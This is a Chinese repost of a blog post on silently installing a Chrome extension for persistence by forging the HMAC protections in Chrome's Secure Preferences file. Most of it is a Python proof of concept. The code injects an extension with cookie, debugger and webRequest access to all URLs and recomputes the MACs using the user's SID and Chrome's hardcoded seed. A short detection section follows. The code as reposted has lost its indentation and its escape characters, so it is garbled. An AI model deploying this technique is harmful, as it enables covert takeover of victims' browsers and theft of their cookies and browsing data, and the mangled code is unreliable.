介绍
方法论/演练
第二个更改位于 Protection:Macs:Extensions:Settings JSON blob 下。这似乎是某种 SHA256 哈希。在这里我找到了上述研究论文,他们已经解决了这个问题。Chrome(我认为所有 Chromium 浏览器)使用用户 SID 和硬编码种子(是的,你没看错)对为扩展添加的 JSON 值进行 HMAC 哈希处理
第三个变化是文件末尾的 super_mac 值。这同样采用文件中 JSON blob 的 HMAC 哈希值以及 SID 和硬编码种子。
我认为后两个值应该是围绕这个 TTP 的“安全性”,虽然我知道这是一个在客户端软件上很难解决的问题,但出乎意料的是,它很容易克服。
POC
-
我们将使用Crux,因为它易于使用和安装
-
Crux Extension 文件夹必须位于 C:UsersPublicDownloads
-
您需要用户名和账户的 SID(对于 SID,请省略最后一部分,即 -1001)
-
我在这篇文章/PoC 中遗漏了一些信息,所以你必须自己研究如何完全自动化/武器化它,但是下面的 PoC 可以在安装了 chrome 的个人 Windows 机器上运行
import hmac
import json
from collections import OrderedDict
import hashlib
#https://github.com/Pica4x6/SecurePreferencesFile
def removeEmpty(d):
if type(d) == type(OrderedDict()):
t = OrderedDict(d)
for x, y in t.items():
if type(y) == (type(OrderedDict())):
if len(y) == 0:
del d[x]
else:
removeEmpty(y)
if len(y) == 0:
del d[x]
elif(type(y) == type({})):
if(len(y) == 0):
del d[x]
else:
removeEmpty(y)
if len(y) == 0:
del d[x]
elif (type(y) == type([])):
if (len(y) == 0):
del d[x]
else:
removeEmpty(y)
if len(y) == 0:
del d[x]
else:
if (not y) and (y not in [False, 0]):
del d[x]
elif type(d) == type([]):
for x, y in enumerate(d):
if type(y) == type(OrderedDict()):
if len(y) == 0:
del d[x]
else:
removeEmpty(y)
if len(y) == 0:
del d[x]
elif (type(y) == type({})):
if (len(y) == 0):
del d[x]
else:
removeEmpty(y)
if len(y) == 0:
del d[x]
elif (type(y) == type([])):
if (len(y) == 0):
del d[x]
else:
removeEmpty(y)
if len(y) == 0:
del d[x]
else:
if (not y) and (y not in [False, 0]):
del d[x]
#https://github.com/Pica4x6/SecurePreferencesFile
def calculateHMAC(value_as_string, path, sid, seed):
if ((type(value_as_string) == type({})) or (type(value_as_string) == type(OrderedDict()))):
removeEmpty(value_as_string)
message = sid + path + json.dumps(value_as_string, separators=(',', ':'), ensure_ascii=False).replace('<', '\u003C').replace(
'\u2122', '™')
hash_obj = hmac.new(seed, message.encode("utf-8"), hashlib.sha256)
return hash_obj.hexdigest().upper()
#https://github.com/Pica4x6/SecurePreferencesFile
def calc_supermac(json_file, sid, seed):
# Reads the file
json_data = open(json_file, encoding="utf-8")
data = json.load(json_data, object_pairs_hook=OrderedDict)
json_data.close()
temp = OrderedDict(sorted(data.items()))
data = temp
# Calculates and sets the super_mac
super_msg = sid + json.dumps(data['protection']['macs']).replace(" ", "")
hash_obj = hmac.new(seed, super_msg.encode("utf-8"), hashlib.sha256)
return hash_obj.hexdigest().upper()
def add_extension(user, sid):
###add json to file
extension_json=r'{"active_permissions":{"api":["activeTab","cookies","debugger","webNavigation","webRequest","scripting"],"explicit_host":["u003Call_urls>"],"manifest_permissions":[],"scriptable_host":[]},"commands":{},"content_settings":[],"creation_flags":38,"filtered_service_worker_events":{"webNavigation.onCompleted":[{}]},"first_install_time":"13364417633506288","from_webstore":false,"granted_permissions":{"api":["activeTab","cookies","debugger","webNavigation","webRequest","scripting"],"explicit_host":["u003Call_urls>"],"manifest_permissions":[],"scriptable_host":[]},"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13364417633506288","location":4,"newAllowFileAccess":true,"path":"C:\Users\Public\Downloads\extension","preferences":{},"regular_only_preferences":{},"service_worker_registration_info":{"version":"0.1.0"},"serviceworkerevents":["cookies.onChanged","webRequest.onBeforeRequest/s1"],"state":1,"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}'
#convert to ordereddict for calc and addition
dict_extension=json.loads(extension_json, object_pairs_hook=OrderedDict)
filepath="C:\users\{}\appdata\local\Google\Chrome\User Data\Default\Secure Preferences".format(user)
with open(filepath, 'rb') as f:
data = f.read()
f.close()
data=json.loads(data,object_pairs_hook=OrderedDict)
data["extensions"]["settings"]["eljagiodakpnjbaceijefgmidmpmfimg"]=dict_extension
###calculate hash for [protect][mac]
path="extensions.settings.eljagiodakpnjbaceijefgmidmpmfimg"
#hardcoded seed
seed=b'xe7Hxf36xd8^xa5xf9xdcxdf%xd8xf3Gxa6[Lxdffvx00xf0-xf6rJ*xf1x8a!-&xb7x88xa2Px86x91x0cxf3xa9x03x13ihqxf3xdcx05x8270xc9x1dxf8xba\Oxd9xc8x84xb5x05xa8'
macs = calculateHMAC(dict_extension, path, sid, seed)
#add macs to json file
data["protection"]["macs"]["extensions"]["settings"]["eljagiodakpnjbaceijefgmidmpmfimg"]=macs
newdata=json.dumps(data)
with open(filepath, 'w') as z:
z.write(newdata)
z.close()
###recalculate and replace super_mac
supermac=calc_supermac(filepath,sid,seed)
data["protection"]["super_mac"]=supermac
newdata=json.dumps(data)
with open(filepath, 'w') as z:
z.write(newdata)
z.close()
if __name__ == "__main__":
user=input("What is the local user? ")
sid=input("What is the SID of the account? ")
add_extension(user, sid)
注意:在编写 PoC 时,我意识到有人就此主题撰写了一篇研究论文:https://www.cse.chalmers.se/~andrei/cans20.pdf,但该论文尚未被广泛武器化(据我所知)。他们在github上提供了一些我利用的 HMAC 的 PoC 代码:https://github.com/Pica4x6/SecurePreferencesFile
注意事项
-
我对一些内容进行了硬编码,并故意犯了一些“操作安全错误”
-
“安全首选项”并不总是在使用中,它可能是“首选项”文件;)
检测
-
对“安全首选项”或“首选项”文件的编辑不是通过 Chrome 进程进行的(此想法归功于 waldo-IRC)
-
识别异常的 Chrome 扩展文件位置
-
低普及率扩展
Silently Install Chrome Extension For Persistence
https://syntax-err0r.github.io/Silently_Install_Chrome_Extension.html
原文始发于微信公众号(Ots安全):静默安装 Chrome 扩展程序以实现持久性
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论